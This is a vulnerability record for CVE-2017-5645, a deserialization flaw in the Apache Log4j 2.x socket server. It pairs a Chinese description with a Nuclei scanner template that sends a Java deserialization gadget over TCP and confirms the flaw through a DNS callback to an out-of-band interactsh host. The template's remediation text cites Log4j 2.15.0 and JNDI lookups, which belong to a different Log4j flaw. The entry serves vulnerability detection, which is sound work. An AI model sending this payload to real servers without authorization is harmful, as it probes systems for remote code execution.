Apache Log4j Server - Deserialization Command Execution

漏洞信息

漏洞名称： Apache Log4j Server - Deserialization Command Execution

漏洞编号：

• CVE： CVE-2017-5645

漏洞类型： 反序列化

漏洞等级： 严重

漏洞描述： Apache Log4j是一个广泛使用的Java日志框架，用于在应用程序中记录日志信息。它被部署在各种Java应用中，从企业级服务到常见的Web应用组件，因其高效和灵活性而受到开发者的青睐。该漏洞存在于Log4j 2.x版本中，具体为2.8.2之前的版本。漏洞类型为反序列化漏洞，其技术根源在于当使用TCP socket服务器或UDP socket服务器接收来自另一个应用程序的序列化日志事件时，未能妥善验证和处理输入的二进制数据。攻击者可以构造特殊的二进制负载，当这些数据被反序列化时，可以在服务器上执行任意代码。这一漏洞的影响极为严重，因为它允许远程攻击者在无需任何认证的情况下，直接对受影响的服务执行任意命令，可能导致数据泄露、服务中断甚至完全控制系统。由于Log4j的广泛使用，这一漏洞的影响范围非常广泛，攻击者可以相对容易地自动化利用此漏洞进行攻击。

产品厂商： Apache

产品名称： Log4j

影响版本： 2.x before 2.8.2

来源： https://github.com/projectdiscovery/nuclei-templates/blob/3442666f0f77cfb9c0212eb8044484062643effd/network%2Fcves%2F2017%2FCVE-2017-5645.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2017-5645

info:
  name: Apache Log4j Server - Deserialization Command Execution
  author: princechaddha, NaN-KoreLogic
  severity: critical
  description: |
    In Apache Log4j 2.x before 2.8.2, when using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitrary code.
  impact: |
    Successful exploitation of this vulnerability could allow remote attackers to execute arbitrary commands on the affected server.
  remediation: |
    Consider updating to Log4j 2.15.0 or a newer version, deactivating JNDI lookups, or implementing a Java Agent to safeguard against potentially harmful JNDI lookups.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2017-5645
    - https://nvd.nist.gov/vuln/detail/CVE-2017-5645
    - http://www.openwall.com/lists/oss-security/2019/12/19/2
    - http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
    - http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-5645
    cwe-id: CWE-502
    epss-score: 0.94013
    epss-percentile: 0.99882
    cpe: cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: log4j
  tags: cve,cve2017,network,vulhub,apache,log4j,rce,deserialization,oast,tcp
variables:
  end: "\r\n"
tcp:
  - host:
      - "{{Hostname}}"
      - "{{Host}}:{{Port}}"
    inputs:
      - data: "{{generate_java_gadget('dns', 'http://{{interactsh-url}}', 'hex')+concat(end)}}"
    read-size: 100
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns
# digest: 4a0a00473045022100827eda332232166a21a0e9c72cf2cf744fe203d47013e4c1c10e8bd1c6b85a640220455d837868ac9450f6eef090bcd67e23abf274dfc0a38bbae81bd7d94a6d965f:922c64590222798bb761d5b6d8e72950